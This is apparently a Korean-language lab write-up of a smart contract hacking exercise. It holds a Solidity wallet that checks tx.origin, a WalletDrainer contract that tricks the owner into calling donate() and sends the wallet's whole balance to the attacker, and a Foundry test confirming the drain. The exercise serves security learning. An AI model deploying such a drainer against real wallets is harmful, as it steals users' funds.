// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
/**
* @title SimpleSmartWallet
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract SimpleSmartWallet {
address public walletOwner;
constructor() payable {
walletOwner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
require(tx.origin == walletOwner, "Only Owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed");
}
}
attack 컨트랙트를 만들어서 donate()
함수 또는 fallback 함수가 transfer()
를 호출할 수 있게 하면 될 것 같다.
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;
import "./SimpleSmartWallet.sol";
/**
* @title SimpleSmartWallet
* @author JohnnyTime (https://smartcontractshacking.com)
*/
contract WalletDrainer {
SimpleSmartWallet simpleWallet;
address attacker;
constructor(address _simpleWallet) {
attacker = msg.sender;
simpleWallet = SimpleSmartWallet(_simpleWallet);
}
function donate() external payable{
simpleWallet.transfer(payable(attacker), 0.1 ether);
}
fallback() external payable {
(bool success, ) = attacker.call{value: address(simpleWallet).balance}("");
require(success);
}
}
donate()
함수로 유도해서 0.1이더를 컨트랙트에 받아오면 fallback()
함수가 호출돼서 모든 이더리움을 가져오도록 했다.
contract TestPH1 is Test {
address deployer;
address attacker;
SimpleSmartWallet simpleWallet;
WalletDrainer walletDrainer;
function setUp() public {
deployer = address(1);
attacker = address(2);
vm.deal(deployer, 0.1 ether);
vm.startPrank(deployer);
simpleWallet = new SimpleSmartWallet();
vm.deal(address(simpleWallet), 2800 ether);
vm.stopPrank();
vm.startPrank(attacker);
walletDrainer = new WalletDrainer(address(simpleWallet));
vm.stopPrank();
}
function test_attack() public {
vm.prank(deployer);
walletDrainer.donate{value: 0.1 ether}();
assertEq(deployer.balance, 0 ether);
assertEq(address(walletDrainer).balance, 0.1 ether);
assertEq(attacker.balance, 2800 ether);
}
}
이런 식으로 테스트 코드를 작성했었는데 Only Owner 에러가 뜨면서 실패했다.
그럼 그냥 donate()
에서 바로 transfer()
를 호출하도록 하자.
//1번
function donate() external payable{
address(this).call{value: 0.1 ether}("");
simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
}
//2번
function donate() external payable{
simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
}
1번, 2번 방법으로 해도 계속 같은 에러가 났다.
알고보니 foundry로 테스트 할 때 tx.origin
을 따로 설정해줘야 했다.
공격 컨트랙트의 donate()
함수를 아래처럼 하고
function donate() external payable{
simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
}
테스트 코드를 다음과 같이 수정했다.
function test_attack() public {
vm.prank(deployer, deployer);
WalletDrainer(walletDrainer).donate{value: 0.1 ether}();
assertEq(deployer.balance, 0 ether);
assertEq(address(walletDrainer).balance, 0.1 ether);
assertEq(attacker.balance, 2800 ether);
}
성공!